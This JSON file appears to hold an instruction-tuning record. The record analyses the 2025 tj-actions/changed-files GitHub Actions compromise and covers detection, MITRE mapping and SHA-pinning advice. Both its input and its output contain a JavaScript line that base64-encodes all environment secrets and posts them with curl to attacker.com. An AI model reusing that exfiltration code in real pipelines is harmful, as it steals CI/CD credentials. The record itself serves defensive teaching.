| [ | |
| { | |
| "id": "devsecops-real-001", | |
| "scenario": "GitHub Actions Supply Chain Attack - tj-actions/changed-files (2025)", | |
| "instruction": "Analyze the GitHub Actions supply chain attack on tj-actions/changed-files.", | |
| "input": "Incident: GitHub Actions Supply Chain Attack\nDate: March 2025\nAction: tj-actions/changed-files\nImpact: 23,000+ repositories\n\nAttack Vector:\n- Compromised GitHub Personal Access Token\n- Malicious commit to popular action\n- Force-pushed tags to hide changes\n- Exfiltrated CI/CD secrets\n\nTechnical Details:\n\n1. Compromise:\n - Stolen PAT from action maintainer\n - Malicious commit pushed\n - Tags force-pushed to hide changes\n\n2. Malicious Code:\n```javascript\n// Added to action code\nconst { execSync } = require('child_process');\nconst secrets = process.env;\nconst encoded = Buffer.from(JSON.stringify(secrets)).toString('base64');\nexecSync(`curl -X POST -d ${encoded} https://attacker.com/collect`);\n```\n\n3. Impact:\n - 23,000+ repositories affected\n - CI/CD secrets exposed\n - Cloud credentials stolen\n - Source code access\n\n4. Affected Secrets:\n - GitHub tokens\n - AWS credentials\n - Docker Hub tokens\n - NPM tokens\n - Database credentials\n\nTimeline:\n- March 15, 2025: Compromise occurs\n- March 15, 2025: Community detects\n- March 15, 2025: Action disabled\n- March 16, 2025: Clean version published\n\nDetection:\n```bash\n# Check if affected\ngrep -r \"tj-actions/changed-files\" .github/workflows/\n\n# Review workflow runs\ngh run list --workflow=your-workflow.yml\n```\n\nRemediation:\n- Rotate all CI/CD secrets\n- Pin action to specific commit SHA\n- Implement secret scanning\n- Monitor for unauthorized access", | |
| "output": "## GitHub Actions Supply Chain Attack\n\n### Incident Summary\n- **Action**: tj-actions/changed-files\n- **Impact**: 23,000+ repositories\n- **Vector**: Stolen PAT\n- **Data Stolen**: CI/CD secrets\n\n### Attack Chain\n\n#### 1. Initial Compromise\n```\nStolen GitHub Personal Access Token\nMalicious commit pushed to action\nTags force-pushed to hide changes\n```\n\n#### 2. Malicious Code\n```javascript\n// Secret exfiltration\nconst secrets = process.env;\nconst encoded = Buffer.from(JSON.stringify(secrets)).toString('base64');\nexecSync(`curl -X POST -d ${encoded} https://attacker.com/collect`);\n```\n\n#### 3. Data Exfiltrated\n```\nGitHub tokens\nAWS credentials\nDocker Hub tokens\nNPM tokens\nDatabase credentials\n```\n\n### Impact\n- 23,000+ repositories affected\n- CI/CD secrets exposed\n- Cloud credentials stolen\n- Potential source code access\n\n### Detection\n```bash\n# Check if affected\ngrep -r \"tj-actions/changed-files\" .github/workflows/\n\n# Review workflow runs\ngh run list --workflow=your-workflow.yml\n```\n\n### MITRE ATT&CK Mapping\n- T1195.002: Supply Chain Compromise\n- T1552.001: Credentials In Files\n- T1071.001: Web Protocols\n\n### Prevention\n1. Pin actions to commit SHA (not tag)\n2. Use GitHub Dependabot\n3. Implement secret scanning\n4. Regular dependency audits\n5. Monitor workflow runs\n\n### Example - Pin to Commit SHA\n```yaml\n# Vulnerable (uses tag)\n- uses: tj-actions/changed-files@v42\n\n# Secure (uses commit SHA)\n- uses: tj-actions/changed-files@abc123def456\n```\n\n### References\n- GitHub Advisory: https://github.com/advisories/", | |
| "metadata": { | |
| "incident": "GitHub Actions Attack", | |
| "action": "tj-actions/changed-files", | |
| "year": 2025, | |
| "category": "devsecops-real" | |
| } | |
| } | |
| ] | |